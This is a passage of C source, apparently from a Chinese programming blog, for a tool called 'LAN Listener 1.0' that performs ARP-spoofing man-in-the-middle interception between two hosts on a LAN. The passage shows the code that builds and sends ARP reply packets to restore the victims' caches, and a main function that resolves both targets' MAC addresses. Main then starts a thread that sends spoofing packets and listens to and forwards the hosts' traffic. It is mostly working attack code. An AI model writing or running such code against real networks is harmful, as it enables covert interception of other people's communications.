    struct ether_arp *arp = (struct ether_arp*) (buffer1 + sizeof(struct ether_header));
    unsigned char ff_mac[]={0xff,0xff,0xff,0xff,0xff,0xff};
    unsigned char zero_mac[] = {0x00,0x00,0x00,0x00,0x00,0x00};
    /**
      * 构造以太网头部,目标mac为主机1的mac,源mac为主机2的mac,即恢复主机1的arp缓存表。
      */
    memcpy(eth->ether_dhost,global_mac1,ETH_ALEN);
    memcpy(eth->ether_shost,global_mac2,ETH_ALEN);
    eth->ether_type = htons(ETHERTYPE_ARP);
       
    /**
      * 构造arp各个数据字段。
      */
    arp->arp_hrd = htons(ARPHRD_ETHER);
    arp->arp_pro = htons(ETHERTYPE_IP);
    arp->arp_hln = ETH_ALEN;
    arp->arp_pln = 4;
    arp->arp_op = htons(ARPOP_REPLY);
    memcpy(arp->arp_sha,global_mac2,ETH_ALEN);
    memcpy(arp->arp_spa,&in_addr2,4);
    memcpy(arp->arp_tha,global_mac1,ETH_ALEN);
    memcpy(arp->arp_tpa,&in_addr1,4);
       
    /**
      * 构造第二个arp报文
      */   
    eth = (struct ether_header*) buffer2;
    arp = (struct ether_arp*) (buffer2 + sizeof(struct ether_header));

    /**
      * 构造以太网头部,目标mac为主机2的mac,源mac为主机1的mac,即恢复主机2的缓存表。
      */
    //memcpy(eth->ether_dhost,global_mac2,ETH_ALEN);
    memcpy(eth->ether_dhost,ff_mac,ETH_ALEN);
    memcpy(eth->ether_shost,global_mac1,ETH_ALEN);
    eth->ether_type = htons(ETHERTYPE_ARP);

    /**
      * 构造arp各个数据字段。
      */
    arp->arp_hrd = htons(ARPHRD_ETHER);
    arp->arp_hln = ETH_ALEN;
    arp->arp_pro = htons(ETHERTYPE_IP);
    arp->arp_pln = 4;
    arp->arp_op = htons(ARPOP_REPLY);
    memcpy(arp->arp_sha,global_mac1,ETH_ALEN);
    memcpy(arp->arp_spa,&in_addr1,4);
    memcpy(arp->arp_tha,global_mac2,ETH_ALEN);
    memcpy(arp->arp_tpa,&in_addr2,4);
   
    int n,sum = 2;
   
    /**
      *将线程结束标志置为真,结束攻击线程。
     */
   
    thread_stop = 1;
    sleep(1);
    printf("开始恢复主机缓存表----------------------------------------------------------\n");
   
    while(sum > 0){
        /**
          * 发送ARP 应答报文到目标主机1
          */
        n = sendto(sockfd,buffer1,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr));
        if(n < 0){
            perror("sendto error");
        }else
            printf("sendto %d byte(s)\n",n);

        /**
          * 调试语句,打印数据包各个字段值。
          */
        #ifdef _DEBUG
        printf("打印恢复包:\n");
        print_ether_header(buffer1);
        print_arp_packet((struct ether_arp*)(buffer1+sizeof(struct ether_header)));
        #endif

        /**
          * 发送ARP 应答报文到目标主机2
          */
        n = sendto(sockfd,buffer2,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr));
        if(n < 0){
            perror("sendto error");
        }else
            printf("sendto %d byte(s)\n",n);

        /**
          * 调试语句,打印数据包各个字段值。
          */
        #ifdef _DEBUG
        printf("打印恢复包:\n");
        print_ether_header(buffer2);
        print_arp_packet((struct ether_arp*)(buffer2+sizeof(struct ether_header)));
        #endif

        sum--;
        sleep(1);
    }
   
    close(sockfd);
    exit  (0);
}

/**
 * 打印软件信息。
 * 2014.5.29
 */
void about_listener()
{
    printf("LAN Listener 1.0.\n");
    printf("Author Wen Shifang.\n");
    printf("email 772148609@qq.com\n");
    printf("2014.5.29\n");
}

/**
 * 主函数,首先请求目标主机1,2的物理地址,然后向其发送arp欺骗报文,截获二者之间的IP数据报。
 * 命令行参数:
 * argc 参数个数。
 * argv 命令行参数字串。
 */
int main(int argc,char** argv)
{

    char *net_dev_name = argv[1];
    char *remote_ip1 = argv[2];
    char *remote_ip2 = argv[3];

    unsigned char remote_mac1[ETH_ALEN];
    unsigned char remote_mac2[ETH_ALEN];

    memset(remote_mac1,0,sizeof(remote_mac1));
    memset(remote_mac2,0,sizeof(remote_mac2));

    if(argc != 4){
        printf("\tUseage:  %s ifname ip1 ip2\n",argv[0]);
        printf("\tExample: ./main eth0 192.168.9.254 192.168.9.222\n");
        exit(1);
    }
   
    about_listener();

    if( get_mac_by_ip(net_dev_name,remote_ip1,remote_mac1) == -1){
        printf("host %s no response\n",remote_ip1);
        exit (1);
    }
    if( get_mac_by_ip(net_dev_name,remote_ip2,remote_mac2) == -1){
        printf("host %s no response\n",remote_ip2);
        exit (1);
    }
   
    printf("target 1 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
           remote_mac1[0],remote_mac1[1],remote_mac1[2],remote_mac1[3],remote_mac1[4],remote_mac1[5]);
    printf("target 2 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
           remote_mac2[0],remote_mac2[1],remote_mac2[2],remote_mac2[3],remote_mac2[4],remote_mac2[5]);

    struct thread_args * p = (struct thread_args*) malloc(sizeof(struct thread_args));
    if(!p){
        perror("malloc failed");
        exit(1);
    }
   
    strcpy(p->interface_name,net_dev_name);
    strcpy(p->target_ip1,remote_ip1);
    strcpy(p->target_ip2,remote_ip2);
    memcpy(p->target_mac1,remote_mac1,ETH_ALEN);
    memcpy(p->target_mac2,remote_mac2,ETH_ALEN);

    printf("target 1 ip address is ->>>>>> %s\n",p->target_ip1);
    printf("target 2 ip address is ->>>>>> %s\n",p->target_ip2);
    /**
      * 创建一个字线程,定时发送ARP欺骗包
      */
    pthread_t tid;
    if(pthread_create(&tid,NULL,thread_attack,p) != 0){
        perror("create thread failed");
        exit(1);
    }

    /**
      * 注册信号处理函数,quit_handler,SIGINT [Ctrl+C]。
     */
    memcpy(global_mac1,remote_mac1,ETH_ALEN);
    memcpy(global_mac2,remote_mac2,ETH_ALEN);
    strcpy(global_ip1,remote_ip1);
    strcpy(global_ip2,remote_ip2);
    strcpy(ifname,net_dev_name);

    if(signal(SIGINT,quit_handler) == SIG_ERR){
        perror("can not install signal handler");
        exit(1);
    }

    /**
      *开始监听目标主机间的通讯,并转发。
     */
    attack_listen(net_dev_name,remote_ip1,remote_ip2,remote_mac1,remote_mac2);
   
    return 0;


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值